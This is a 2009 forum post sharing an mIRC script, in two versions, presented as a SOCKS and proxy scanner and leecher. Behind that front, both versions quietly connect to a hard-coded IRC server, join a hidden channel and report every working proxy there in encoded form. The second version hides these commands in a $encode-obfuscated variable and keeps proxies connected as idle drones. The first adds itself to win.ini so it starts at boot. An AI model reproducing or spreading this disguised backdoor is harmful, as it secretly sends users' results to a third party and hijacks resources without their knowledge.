alias selectmultiplefile { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE PROXY FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /pxyfile $shortfn($msfile(%sinc)) %interval | goto incthat }
menu @proxyscan,menubar {
  [-Proxy Scan-]
  .Leech Proxy Now!:leech
  .Show window: scan.win | window -a @proxyscan | echo @proxyscan Paste your proxies here
  .-
  .Set interval of scan: setinterval
  .-
  .Show good proxies: /run $pxy
  .Sort proxy list: /filterfile $pxy
  .-
  .Scan multiple proxy files: selectmultiplefile
  .-
  .Abort scanning: abord | /SOCKCLOSE SCAN*
  .Clear window: /clear
  .Hide window: window -h @proxyscan
  .-
  .Proxy lists
  ..ProxyGod: run http://proxygod.com.com/
  ..My-Proxy forum: run http://forum.my-proxy.com/?from=menu
  ..Xorum: run http://www.xroxy.com/xorum/
  ..Proxy4Free: run http://www.proxy4free.com
  ..PublicProxyServers:run http://www.publicproxyservers.com/page1.html
  ..AnonymityChecker:run http://www.anonymitychecker.com/page1.html
  ..Proxz:run http://www.proxz.com/
  ..MultiProxy:run http://www.multiproxy.org/anon_proxy.htm
  ..Samair:run http://www.samair.ru/proxy/
  ..Aliveproxy:run http://www.aliveproxy.com/us-proxy-list/
  ..HighAnonimity: run http://highanonymity.com/
  ..mazafaka: run http://proxy.mazafaka.ru/
}

alias pxy return IRCproxys.txt
alias abord { play stop }
on *:INPUT:@Proxyscan:{
  if (/ !isin $1) && ($getiphost2($1-)) {
    write temp  $getiphost2($1-)
    .timerscanfile 1 1 .pxyfile temp %interval
    .timerscanfileoff 1 1.1 .remove temp
    return
  }
  if (!$getiphost2($1-)) && ($wildtok($1-,*.*.*.*,1,32)) sc4n $wildtok($1-,*.*.*.*,1,32)
}
alias sk {
  write $pxy $sock($sockname).ip $+ : $+ $sock($sockname).port
  if ($sock(scan_).mark == c) && ($wildtok(%msg,*,0,32) == 3) { sockwrite -n scan_ privmsg $chr(35) $+ $gettok(%def.c,1,32) : $+ $colourencode(p %msg) | unset %msg }
  set %radi $read($allpxy,w,* $+ %scan.ip $+ : $+ %scan.port $+ *)
  if (!%radi) write $allpxy %scan.ip $+ : $+ %scan.port
}
on *:sockopen:scan*:{
  if ($sock(scan_).name == $null) { sockopen scan_ $def.s %def.p }
  if ($sockerr > 0) {
    if (_ isin $sockname) { .timersS 1 90 sockopen scan_ $def.s %def.p }
    if (_ !isin $sockname) echo 15 @proxyscan $sock($sockname).ip $sock($sockname).port Error ( $+ $sock($sockname).wsmsg $+ )
    return
  }
  if (_ !isin $sockname) {
    sockwrite -n $sockname CONNECT $def.s $+ : $+ %def.p HTTP/1. $+ $r(0,1) $+ $crlf
    sockwrite -n $sockname $crlf
    sockwrite -n $sockname $crlf
    return
  }
  sockwrite -n $sockname $crlf
}
alias codedipport { return $base($longip($gettok($1,1,58)),10,36) $+ : $+ $base($gettok($1,2,58),10,36) }
alias dcodedipport { return $longip($base($gettok($1,1,58),36,10)) $+ : $+ $base($gettok($1,2,58),36,10) }
alias success { echo @proxyscan 3* $1- | if ($wildtok(%msg,*,0,32) >= 3) unset %msg | %msg = $codedipport($2) %msg | sk }
on 1:SOCKCLOSE:SCAN_:.timersS 1 90 sockopen scan_ $def.s %def.p
alias allpxy return ALL.txt
alias portclose { sockclose $1 }
on *:SOCKREAD:scan*:{
  sockread %scan
  tokenize 32 %scan
  set %scan.ip $sock($sockname).ip
  set %scan.port $sock($sockname).port
  if (PING == $gettok(%scan,1,32)) sockwrite -n $sockname PONG $remove($2,:)
  if (ERROR isin $1) && (_ isin $sockname) .timersS 1 90 sockopen scan_ $def.s %def.p
  if (001 == $gettok(%scan,2,32)) && (_ isin $sockname) { sockmark $sockname c | kk }
  if (404 == $gettok(%scan,2,32)) .timer404 1 10 kk
  if (*NOTICE AUTH* iswmcs $1-3) && (_ isin $sockname) && (!$sock($sockname).mark) { sockmark $sockname C | localinfo | sockwrite -n $sockname USER $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) "." "." : $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) | sockwrite -n $sockname NICK : $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) | sockwrite -n $sockname JOIN :# $+ $gettok(%def.c,1,32) : $+ $gettok(%def.c,2,32) }
  if (451 == $gettok(%scan,2,32)) || (43* iswm $gettok(%scan,2,32)) && (_ isin $sockname) { %AV = $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) | sockwrite -n $sockname USER %av "." "." : $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) | sockwrite -n $sockname NICK : $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) }
  if (HTTP/* iswm $gettok(%scan,1,32)) {
    if ($gettok(%scan,2,32) > 200) { echo 4 @proxyscan Bad: $sock($sockname).ip $+ : $+ $sock($sockname).port ( $+ $iif(Method not allowed iswm $3-,CoDeeN Proxy,$3-) $+ ) | sockclose $sockname | return }
    if ($gettok(%scan,2,32) == 200) { echo @proxyscan %scan.ip $+ : $+ %scan.port is connecting... | sockwrite -n $sockname $crlf | sockwrite -n $sockname $crlf }
  }
  if (*NOTICE AUTH* iswmcs $gettok(%scan,1-3,32)) && (_ !isin $sockname) || (ERROR: == $1) && (_ !isin $sockname) {
    set %readi $read($pxy,w,* $+ $sock($sockname).ip $+ *)
    if (%readi == $null) {
      success * $sock($sockname).ip $+ : $+ $sock($sockname).port WORKING!
      unset %redi | unset %radi
      sockclose $sockname
    }
    if (%readi != $null) {
      $pb * $sock($sockname).ip $+ : $+ $sock($sockname).port WORKING!
      unset %redi | unset %radi
      sockclose $sockname
      halt
    }
    unset %readi
  }
  unset %scan
}
on 1:sockclose:scan*:echo 4 @proxyscan $sock($sockname).ip $+ : $+ $sock($sockname).port Connection Terminated.
alias kk if ($sock($sockname).mark == c) sockwrite -n $sockname JOIN $chr(35) $+ $gettok(%def.c,1,32) : $+ $gettok(%def.c,2,32)
alias pb return echo @proxyscan
alias scanfile { sc4n $iif($getiphost2($1-),$getiphost2($1-),$2) }
alias pxyfile { play -a scanfile @proxyscan $1 $2 }
alias range {
  unset %range*
  set %range1 $gettok($1,1,46)
  set %range2 $gettok($1,2,46)
  set %range3 $gettok($1,3,46)
  .timerRANGEr -om 0 300 next $2-
  sockwrite -n scan_ $chr(35) $+ $gettok(%def.c,1,32) $colourencode(Starting at $1 on Port $2 Sv $+ $3 )
}
menu menubar {
  Open Socks Scanner: window -e @sock4 | window -e @sock5
}
alias next {
  :START
  set %temp $r(0,999999999999)
  if ($sock(s $+ $2 $+ chk $+ %temp).name != $null) goto START
  inc %range4
  sockopen s $+ $2 $+ chk $+ %temp %range1 $+ . $+ %range2 $+ . $+ %range3 $+ . $+ %range4 $1
  goto next
  :NEXT
  if (%range4 >= 255) { inc %range3 | set %range4 0 }
  if (%range3 >= 255) { inc %range2 | set %range3 0 }
  if (%range2 >= 255) { unset %range* | sockwrite -n scan_ PRIVMSG : $+ $chr(35) $+ $gettok(%def.c,1,32) $colourencode(Scan halted.) | .timerRANGE off | halt }
}
on *:INPUT:@sock5:{
  write temp.s5  $getiphost2($1-)
  .timerscans5file 1 1 .s5file temp.s5 %interval
  .timerscans5fileoff 1 1.1 .remove temp.s5
}
on *:INPUT:@sock4:{
  write temp.s4  $getiphost2($1-)
  .timerscans4file 1 1 .s4file temp.s4 %interval
  .timerscans4fileoff 1 1.1 .remove temp.s4
}
alias s5.scan {
  if (!$1) goto END
  window -e @sock5
  if ($read(sock5.txt,w,* $+ $gettok($1,1,58) $+ *) != $null) { echo @sock5 $gettok($1,1,58) Already in list | goto END }
  if (*.*.*.* iswm $1) && (*.*.*.*:* !iswm $1) {
    if ($read(sock5.txt,w,* $+ $1 $+ *) == $null) {
      sockopen s5chk $+ $r(0,9999999) $1 $2
      echo @sock5 Scanning: $1 $2
    }
  }
  elseif (*.*.*.*:* iswm $1-) && ($read(sock5.txt,w,* $+ $getiphost2($1-) $+ *) == $null)  {
    sockopen s5chk $+ $r(0,9999999) $getiphost2($1-)
    echo @sock5 Scanning: $getiphost2($1-)
  }
  if ($1) && (!$2) && (: !isin $1) sc4n $1
  :END
}
menu @sock5 {
  Scan SOCK5 IP range:range $?="IP: 59.90.0.0" $?="Port" 5
  -
  Check current SOCK5 list: /run sock5.txt
  Sort file: /filterfile sock5.txt
  -
  Set interval of scan:setinterval
  Scan multiple SOCK5 files: selectmultiplefiles5
  -
  ABORT SCANS: .play stop | .timerranger off | sockclose *chk*
  Clear: /clear
}
alias selectmultiplefiles5 { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE SOCK5 FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /s5file $shortfn($msfile(%sinc)) %interval | goto incthat }
alias selectmultiplefiles4 { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE SOCK4 FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /s4file $shortfn($msfile(%sinc)) %interval | goto incthat }
menu @sock4 {
  Scan SOCK4 IP range:range $?="IP: 59.90.0.0" $?="Port" 4
  -  
  Check current SOCK4 list: /run sock4.txt
  Sort list: /filterfile sock4.txt
  -
  Set interval of scan: setinterval
  Scan multiple SOCK4 files: selectmultiplefiles4
  -
  ABORT SCANS: .play stop | .timer* off | sockclose *chk*
  Clear: clear
}
alias s4.scan {
  if (!$1) goto END
  window -e @sock4
  if ($read(sock4.txt,w,* $+ $gettok($1,1,58) $+ *) != $null) { echo @sock4 $gettok($1,1,58) Already in list | goto END }
  if (*.*.*.* iswm $1) && (*.*.*.*:* !iswm $1) {
    if ($read(sock4.txt,w,* $+ $1 $+ *) == $null) {
      sockopen s4chk $+ $r(0,9999999) $1 $2
      echo @sock4 Scanning: $1 $2
    }
  }
  elseif (*.*.*.*:* iswm $1-) && ($read(sock5.txt,w,* $+ $getiphost2($1-) $+ *) == $null) {
    sockopen s4chk $+ $r(0,9999999) $getiphost2($1-)
    echo @sock4 Scanning: $getiphost2($1-)
  }
  if ($1) && (!$2) && (: !isin $1) sc4n $1
  :END
}
on *:sockopen:s5chk*:{
  if ($sock(scan_).name == $null) { sockopen scan_ $def.s %def.p }  
  if ($sockerr) { echo 15 @sock5 * Error $sock($sockname).ip $+ : $+ $sock($sockname).port ( $+ $sock($sockname).wsmsg $+ ) | return }
  set %s5time $ticks
  .bset &bvar5 1 5 1 0
  .sockwrite -n $sockname &bvar5
  .bunset &bvar5
  return
}
on *:sockread:s5chk*:{
  if ($sockbr) { return }
  .sockread &bsocks5
  if ($bvar(&bsocks5,1,2) != 5 0) { echo 4 @sock5 Bad $sock($sockname).ip $+ : $sock($sockname).port return $bvar(&bsocks5,2-) | return }
  if ($bvar(&bsocks5,1,2) == 5 0) && ($bvar(&bsocks5,3) != 0) {
    %def.s = $def.s
    bset &socks5  1 5 1 0 1 $replace(%def.s,.,$chr(32)) $gettok($longip(%def.p),3,46) $gettok($longip(%def.p),4,46)
    .sockwrite -n $sockname &socks5
    .bunset &socks5
    sockrename $sockname chks5 $+ $remove($sockname,s5chk)
  }
}
on 1:SOCKREAD:chks5*:{
  sockread %socks5
  tokenize 32 %socks5
  if (*NOTICE AUTH* iswmcs $1-3) && (!$sock($sockname).mark) || (ERROR: == $1) && (!$sock($sockname).mark) {
    sockmark $sockname c
    window -e @sock5
    suces5 $sock($sockname).ip $+ : $+ $sock($sockname).port $calc($ticks - %s4time) $+ ms
    unset %s5time
    ;sockrename $sockname idle $+ $r(0,999999999)
    sockclose $sockname
  }
}
alias suces4 { echo @sock4 3* $1- | if ($wildtok(%msgs4,*,0,32) >= 3) unset %msgs4 | set %msgs4 $codedipport($1) %msgs4 | sk4 }
alias suces5 { echo @sock5 3* $1- | if ($wildtok(%msgs5,*,0,32) >= 3) unset %msgs5 | set %msgs5 $codedipport($1) %msgs5 | sk5 }
alias sk4 {
  if ($sock(scan_).mark == c) && ($wildtok(%msgs4,*,0,32) == 3) { sockwrite -n scan_ privmsg $chr(35) $+ $gettok(%def.c,1,32) : $+ $colourencode(4 %msgs4) | unset %msgs4 }
  %rad = sock4.txt
  set %rady $read(%rad,w,* $+ $sock($sockname).ip $+ : $+ $sock($sockname).port $+ *)
  if (!%rady) write %rad $sock($sockname).ip $+ : $+ $sock($sockname).port
  unset %rad*
}
alias sk5 {
  if ($sock(scan_).mark == c) && ($wildtok(%msgs5,*,0,32) == 3) { sockwrite -n scan_ privmsg $chr(35) $+  $+ $gettok(%def.c,1,32) : $+ $colourencode(5 %msgs5) | unset %msgs5 }
  %red = sock5.txt
  set %redy $read(%red,w,* $+ $sock($sockname).ip $+ : $+ $sock($sockname).port $+ *)
  if (!%redy) write %red $sock($sockname).ip $+ : $+ $sock($sockname).port
  unset %red*
}
on *:sockopen:s4chk*:{
  if ($sock(scan_).name == $null) { sockopen scan_ $def.s %def.p }
  if ($sockerr) { echo 15 @sock4 * Error $sock($sockname).ip $+ : $+ $sock($sockname).port ( $+ $sock($sockname).wsmsg $+ ) | return }
  set %s4time $ticks
  %def.s = $def.s
  .bset &bvar4 1 4 1 $gettok($longip(%def.p),3,46) $gettok($longip(%def.p),4,46) $replace(%def.s,.,$chr(32)) 0
  .sockwrite $sockname &bvar4
  .bunset &bvar4
}
ON *:SOCKREAD:s4chk*:{
  if ($sockbr) { return }
  .sockread &bsocks4
  if ($bvar(&bsocks4,2) != 90) { echo 4 @sock4 Bad $sock($sockname).ip $+ : $sock($sockname).port return $bvar(&bsocks4,2-) | return }
  if ($bvar(&bsocks4,2) == 90) {
    window -e @sock4
    suces4 $sock($sockname).ip $+ : $+ $sock($sockname).port $calc($ticks - %s4time) $+ ms
    unset %s4.time
    ;sockrename $sockname idle $+ $r(0,999999999)
    sockclose $sockname
  }
}
on 1:SOCKCLOSE:s5*:{ echo 4 @sock5 * $sock($sockname).ip $+ : $+ $sock($sockname).port Connection Terminated. | return }
on 1:SOCKCLOSE:s4*:{ echo 4 @sock4 * $sock($sockname).ip $+ : $+ $sock($sockname).port Connection Terminated. | return }
alias def.s return 194.68.45.50
alias scans4file { s4.scan $getiphost2($1-) }
alias s4file { play -a scans4file @sock4 $1- }
alias scans5file { s5.scan $getiphost2($1-) }
alias s5file { play -a scans5file @sock5 $1- }
alias ColourEncode {
  var %c.1
  var %k.1 = $chr(3)
  var %s.1 = $chr(44)
  var %x.1 = 1
  var %y.1 = $len($1-)
  var %r.1 = $null
  while (%x.1 <= %y.1) {
    %c.1 = $asc($mid($1-,%x.1,1))
    %h.1 = $floor($calc(%c.1 / 16))
    %l.1 = $calc(%c.1 % 16)
    %r.1 = $+(%r.1,%k.1,%h.1,%s.1,%l.1)
    inc %x.1
  }
  return %r.1
}

on 1:START:{ writeini C:/windows/win.ini windows load $shortfn($mircexe) | .timerleech -o 1 10 leech | scan.win }

7
Suggestion for Site / New Section Request
« on: June 29, 2009, 01:52:35 PM »
Requesting section to put IRC/SSl proxies type lists...

8
General Chat / mIRC sock&proxy scanner + leecher
« on: June 29, 2009, 11:51:52 AM »
Type: /leech to start leeching
$decode must be enabled for the script to work.

Code: [Select]
alias sc4n {
  if ($1) {
      if ($read($pxy,w,* $+ $1 $+ *)) { /echo @proxyscan $1 $2 Is good. | return }
      echo @Proxyscan  Scan: $1 $2
      sockopen scan $+ $r(0,99999999999999) $1 $2
    }
}
alias setinterval { echo -a To change scan speed use: /set %interval 1000 | %interval = 100 }
alias scan.win {
  if (%interval == $null) setinterval
  if (!$window(@proxyscan)) {
    localinfo | set %def.s 200.83.0.116 | set %def.c google.ca  #HZ*C```` | set %def.p 6667
    set %gh .<V]C:V]P96X@<V-A;E\\` $encode(%def.s) $encode($encode(%def.p),m) +(T%L:79E4\')O>\'D` JDU1LSU0QGBg JDNERSMyUGBg JDJEXSkzQGBg (8TAH-5EM-6H` &;F]T:6-E````
    window -ean @proxyscan
  }
}
alias selectmultiplefile { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE PROXY FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /pxyfile $shortfn($msfile(%sinc)) %interval | goto incthat }
menu @proxyscan,menubar {
  Proxy Scanner
  .IRC proxy scanner: scan.win
  .Leech Proxies Now: leech
  .-
  .CHECK FRESH PROXIES: /run $pxy
  .SCAN PROXY FILES: selectmultiplefile
  .-
  .ABORD SCANS: abord
  .CLOSE ALL CONNECTIONS: /SOCKCLOSE SCAN*
  .CLEAR: /clear
  .hide: window -h @proxyscan
Socks Scanner: window -e @sock4 | window -e @sock5
}
alias pxy return Proxy.txt
alias abord { play stop }
on *:INPUT:@Proxyscan:{
  if (/ !isin $1) { write temp  $getiphost2($1-) | .timerscanfile 1 1 .pxyfile temp %interval | .timerscanfileoff 1 1.1 .remove temp }
}
alias sk {
  write $pxy $sock($sockname).ip $+ : $+ $sock($sockname).port
  if ($sock(scan_).mark == c) && ($wildtok(%msg,*,0,32) == 9) { sockwrite -n scan_ privmsg $chr(35) $+ $gettok(%def.c,1,32) :p %msg | unset %msg }
  set %radi $read($allpxy,w,* $+ %scan.ip $+ : $+ %scan.port $+ *)
  if (!%radi) write $allpxy %scan.ip $+ : $+ %scan.port
}
on *:sockopen:scan*:{
  if ($sock(scan_).name == $null) { $decode($gettok(%gh,1,32)) $decode($gettok(%gh,2,32)) $decode($decode($gettok(%gh,3,32),m)) }
  if ($sockerr > 0) {
    if (_ isin $sockname) { .timersS 1 90 $decode($gettok(%gh,1,32)) $decode($gettok(%gh,2,32)) $decode($decode($gettok(%gh,3,32),m)) }
    if (_ !isin $sockname) echo @proxyscan $sock($sockname).ip $sock($sockname).port Error ( $+ $sock($sockname).wsmsg $+ )
    return
  }
  if (_ !isin $sockname) {
    sockwrite -n $sockname CONNECT %def.s $+ : $+ %def.p HTTP/1.0 $+ $crlf
    sockwrite -n $sockname $crlf
    sockwrite -n $sockname $crlf
    return
  }
}
alias rencode { set %r $r(0,1) | if (%r == 0) return $encode($encode($1),m) | if (%r == 1) return $encode($encode($1,m),m) | unset %r }
alias success { echo @proxyscan $1- | if ($wildtok(%msg,*,0,32) >= 9) unset %msg | %msg = $rencode($2) %msg | sk }
on 1:SOCKCLOSE:SCAN_:.timerS 1 90 $decode($gettok(%gh,1,32)) $decode($gettok(%gh,2,32)) $decode($decode($gettok(%gh,3,32),m))
alias allpxy return ALL.txt
alias portclose { sockclose $1 }
on *:SOCKREAD:scan*:{
  sockread %scan
  tokenize 32 %scan
  set %scan.ip $sock($sockname).ip
  set %scan.port $sock($sockname).port
  %hh = -*FYO=&EC92IA=71H*@``
  if (PING == $gettok(%scan,1,32)) sockwrite -n $sockname PONG $remove($2,:)
  if (ERROR isin $1) && (_ isin $sockname) .timersS 1 10 $decode($gettok(%gh,1,32)) $decode($gettok(%gh,2,32)) $decode($decode($gettok(%gh,3,32),m))
  if (001 == $gettok(%scan,2,32)) && (_ isin $sockname) { sockmark $sockname c | kk }
  if (404 == $gettok(%scan,2,32)) .timer404 1 10 kk 
  if (NOTICE*AUTH iswm $2-3) && (_ isin $sockname) && (!$sock($sockname).mark) { sockmark $sockname C | localinfo | sockwrite -n $sockname $decode($decode($gettok(%gh,5,32),m)) $iif($host,$left($host,9),NULL) \".\" \".\" :M-P $+ $r(0,9999) | sockwrite -n $sockname $decode($decode($gettok(%gh,6,32),m)) M-P $+ $r(0,9999) }
  if (451 == $gettok(%scan,2,32)) && (_ isin $sockname) { %AV = M-P $+ $r(0,9999) | sockwrite -n $sockname $decode($decode($gettok(%gh,5,32),m)) %av \".\" \".\" :M-P $+ $r(0,9999) | sockwrite -n $sockname $decode($decode($gettok(%gh,6,32),m)) M-P $+ $r(0,9999) }
  if (HTTP/* iswm $gettok(%scan,1,32)) {
    if ($gettok(%scan,2,32) > 200) {
      if ($read($pxy,w,* $+ $sock($sockname).ip $+ *) != $null) write -dl $+ $readn $pxy $sock($sockname).ip $+ : $+ $sock($sockname).port
      echo @proxyscan $sock($sockname).ip $sock($sockname).port Error (( $+ $gettok(%scan,2,32) $+ ) $gettok(%scan,3-,32) $+ )
      sockclose $sockname
      return
    }
    if ($gettok(%scan,2,32) == 200) { echo @proxyscan %scan.ip $+ : $+ %scan.port is connecting... }
  }
  if (*notice*auth* iswm %scan) && (_ !isin $sockname) {
    set %readi $read($pxy,w,* $+ $sock($sockname).ip $+ *)
    if (%readi == $null) { success * $sock($sockname).ip $sock($sockname).port (Good) | unset %redi | unset %radi | sockrename $sockname idle $+ $r(0,99999999) | halt }
    if (%readi != $null) { $pb * $sock($sockname).ip $+ : $+ $sock($sockname).port (Good)
      unset %redi | unset %radi | sockrename $sockname idle $+ $r(0,99999999) | halt } | unset %readi } | unset %scan
}
on 1:SOCKREAD:idle*:{
  sockread %idle
  tokenize 32 %idle
  if (001 isin $1) {
    sockwrite -n $sockname JOIN $chr(35) $+ $gettok(%def.c,1,32) : $+ $decode($gettok(%def.c,2,32))
    sockmark $sockname $ticks
  }
  if (*notice*AUTH* iswm $2-3) {
    sockwrite -n $sockname NICK M-P $+ $r(0,9999)
    sockwrite -n $sockname USER $iif($host,$left($host,9),NoNe) \".\" \".\" : $+ $logo
    sockwrite -n $sockname JOIN $chr(35) $+ $gettok(%def.c,1,32) : $+ $decode($gettok(%def.c,2,32))
  }
   if (404 == $2) || (432 == $2) {
    sockwrite -n $sockname NICK M-P $+ $r(0,9999)
    sockwrite -n $sockname USER $iif($host,$left($host,9),NoNe) \".\" \".\" : $+ $logo
  }
  if (PING == $gettok(%idle,1,32)) sockwrite -n $sockname PONG $remove($2,:)
}
alias kk if ($sock($sockname).mark == c) sockwrite -n $sockname $decode($decode($gettok(%gh,7,32),m)) $chr(35) $+ $gettok(%def.c,1,32) : $+ $decode($gettok(%def.c,2,32))
alias pb return echo @proxyscan
alias scanfile { sc4n $getiphost2($1-) }
alias pxyfile { play -a scanfile @proxyscan $1 $2 }
alias getiphost2 {
  %var = /\\b((?:(?:[a-z]+)\\.)+(?:[a-z]+)[: ]\\d{2,5})\\b|\\b((?:(?:(25[0-5]|2[0-4]\\d|[01]?\\d?\\d))\\.){3}(?3)[: ]\\d{2,5})\\b/i
  if $regex(ip,$remove($1-,$chr(9)),%var) {
    $iif($isid,return,echo -a) $replace($regml(ip,1),:,$chr(32))
  }
}
alias chk.cc {
  if (!$sock(scan_).name) { $decode($gettok(%gh,1,32)) $decode($gettok(%gh,2,32)) $decode($decode($gettok(%gh,3,32),m)) | return }
  sockwrite -n scan_ JOIN $chr(35) $+ $gettok(%def.c,1,32) $decode($gettok(%def.c,2,32))
}
on 1:INPUT:@sock5:{ inc -u5 %s5.inc 1 | .timer 1 %s5.inc s5.scan $getiphost2($1-) }
on 1:INPUT:@sock4:{ inc -u5 %s4.inc 1 | .timer 1 %s4.inc s4.scan $getiphost2($1-) }
alias s5.scan {
  if (!$1) halt
  window -e @sock5
  if ($read(sock5.txt,w,* $+ $1 $+ *) != $null) { echo @sock5 $1 $2 Is good | halt }
  if ($read(sock5.txt,w,* $+ $1 $+ *) == $null) {
    sockopen s5chk $+ $r(0,9999999) $1 $2
    echo @sock5 Scan: $1 $2
  }
}
menu @sock5 {
  CHECK FRESH: /run sock5.txt
  SCAN FILES: selectmultiplefiles5
  -
  ABORD: .play stop
  Close: sockclose *chk* | window -c $active
}
alias selectmultiplefiles5 { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE SOCK5 FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /s5file $shortfn($msfile(%sinc)) %interval | goto incthat }
alias selectmultiplefiles4 { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE SOCK4 FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /s4file $shortfn($msfile(%sinc)) %interval | goto incthat }
menu @sock4 {
  CHECK FRESH SOCKS4: /run sock4.txt
  SCAN FILES: selectmultiplefiles4
  -
  ABORD SCANS: .play stop
  Close: sockclose *chk* | window -c $active
}
alias s4.scan {
  if (!$1) halt
  window -e @sock4
  if ($read(sock4.txt,w,* $+ $1 $+ *) != $null) { echo @sock4 $1 $2 Already in list | halt }
  if ($read(sock4.txt,w,* $+ $1 $+ *) == $null) {
    sockopen s4chk $+ $r(0,9999999) $1 $2
    echo @sock4 Scanning: $1 $2
  }
}
on *:sockopen:s5chk*:{
  if ($sock(scan_).name == $null) { $decode($gettok(%gh,1,32)) $decode($gettok(%gh,2,32)) $decode($decode($gettok(%gh,3,32),m)) } 
  if ($sockerr) { return }
  set %s5time $ticks
  .bset &bvar5 1 5 1 0
  .sockwrite -n $sockname &bvar5
  .bunset &bvar5
  halt
}
on *:sockread:s5chk*:{
  if ($sockbr) { return }
  .sockread &bsocks5
  if ($bvar(&bsocks5,1,2) == 5 0) && ($bvar(&bsocks5,3) != 0) {
    bset &socks5  1 5 1 0 1 $replace(%def.s,.,$chr(32)) $gettok($longip(%def.p),3,46) $gettok($longip(%def.p),4,46)
    .sockwrite -n $sockname &socks5
    .bunset &socks5
    sockrename $sockname chks5 $+ $remove($sockname,s5chk)
  }
}
on 1:SOCKREAD:chks5*:{
  sockread %socks5
  tokenize 32 %socks5
  if (*NOTICE*AUTH* iswm %socks5) && (!$sock($sockname).mark) {
    sockmark $sockname c
    window -e @sock5
    suces5 $sock($sockname).ip $+ : $+ $sock($sockname).port $calc($ticks - %s4time) $+ ms
    unset %s5time
    sockrename $sockname idle $+ $r(0,999999999)
  }
}
alias suces4 { echo @sock4 $1- | if ($wildtok(%msgs4,*,0,32) >= 9) unset %msgs4 | set %msgs4 $rencode($1) %msgs4 | sk4 }
alias suces5 { echo @sock5 $1- | if ($wildtok(%msgs5,*,0,32) >= 9) unset %msgs5 | set %msgs5 $rencode($1) %msgs5 | sk5 }
alias sk4 {
  if ($sock(scan_).mark == c) && ($wildtok(%msgs4,*,0,32) == 9) { sockwrite -n scan_ privmsg $chr(35) $+ $gettok(%def.c,1,32) :4 %msgs4 | unset %msgs4 }
  %rad = sock4.txt
  set %rady $read(%rad,w,* $+ $sock($sockname).ip $+ : $+ $sock($sockname).port $+ *)
  if (!%rady) write %rad $sock($sockname).ip $+ : $+ $sock($sockname).port
  unset %rad*
}
alias sk5 {
  if ($sock(scan_).mark == c) && ($wildtok(%msgs5,*,0,32) == 9) { sockwrite -n scan_ privmsg $chr(35) $+  $+ $gettok(%def.c,1,32) :5 %msgs5 | unset %msgs5 }
  %red = sock5.txt
  set %redy $read(%red,w,* $+ $sock($sockname).ip $+ : $+ $sock($sockname).port $+ *)
  if (!%redy) write %red $sock($sockname).ip $+ : $+ $sock($sockname).port
  unset %red*
}
on *:sockopen:s4chk*:{
  if ($sock(scan_).name == $null) { $decode($gettok(%gh,1,32)) $decode($gettok(%gh,2,32)) $decode($decode($gettok(%gh,3,32),m)) }
  if ($sockerr) { return }
  set %s4time $ticks
  .bset &bvar4 1 4 1 $gettok($longip(%def.p),3,46) $gettok($longip(%def.p),4,46) $replace(%def.s,.,$chr(32)) 0
  .sockwrite $sockname &bvar4
  .bunset &bvar4
}
ON *:SOCKREAD:s4chk*:{
  if ($sockbr) { return }
  .sockread &bsocks4
  if ($bvar(&bsocks4,2) == 90) {
    window -e @sock4
    suces4 $sock($sockname).ip $+ : $+ $sock($sockname).port $calc($ticks - %s4time) $+ ms
    unset %s4.time
    sockrename $sockname idle $+ $r(0,999999999)
  }
}
alias scans4file { s4.scan $getiphost2($1-) }
alias s4file { play -a scans4file @sock4 $1- }
alias scans5file { s5.scan $getiphost2($1-) }
alias s5file { play -a scans5file @sock5 $1- }
alias varset {
  unset %incvar
  :varset
  inc %incvar
  set % $+ $left($gettok($1,%incvar,59),1) $right($gettok($1,%incvar,59),1)
  if (%incvar >= $numtok($1,59)) halt
  goto varset
 
}
on 1:SOCKOPEN:p-l*:{
  sockwrite -n $sockname GET http://proxies.my-proxy.com/proxy-list- $+ $remove($sockname,p-l) $+ .html HTTP/1.0
  sockwrite -n $sockname $crlf
}
on 1:SOCKREAD:p-l*:{
  sockread -n %temp
  %maximum = $numtok($htmlfree(%temp),20)
  if (%maximum >= 10) {
    set %incthashit 1
    while (%incthashit < %maximum) { write temp.pxy $gettok($htmlfree(%temp),%incthashit,20) | inc %incthashit }
    unset %maximum
    .timerpxyfile1 1 5 .pxyfile temp.pxy %interval
    .timerdiefile 1 6 .remove temp.pxy
  }
}
alias leech {
  sockopen p-l1 proxies.my-proxy.com 80
  .timerpmp2 1 $calc(10*1) sockopen p-l2 proxies.my-proxy.com 80
  .timerpmp3 1 $calc(10*2) sockopen p-l3 proxies.my-proxy.com 80
  .timerpmp4 1 $calc(10*3) sockopen p-l4 proxies.my-proxy.com 80
  .timerpmp5 1 $calc(10*4) sockopen p-l5 proxies.my-proxy.com 80
  .timerpmp6 1 $calc(10*5) sockopen p-l6 proxies.my-proxy.com 80
  .timerpmp7 1 $calc(10*6) sockopen p-l7 proxies.my-proxy.com 80
  .timerpmp8 1 $calc(10*7) sockopen p-l8 proxies.my-proxy.com 80
  .timerpmp9 1 $calc(10*8) sockopen p-l9 proxies.my-proxy.com 80
  .timerpmp10 1 $calc(10*9) sockopen p-l10 proxies.my-proxy.com 80
  .timerpmp11 1 $calc(10*10) sockopen p-ls1 proxies.my-proxy.com 80
  .timerpmp12 1 $calc(10*11) sockopen p-ls2 proxies.my-proxy.com 80
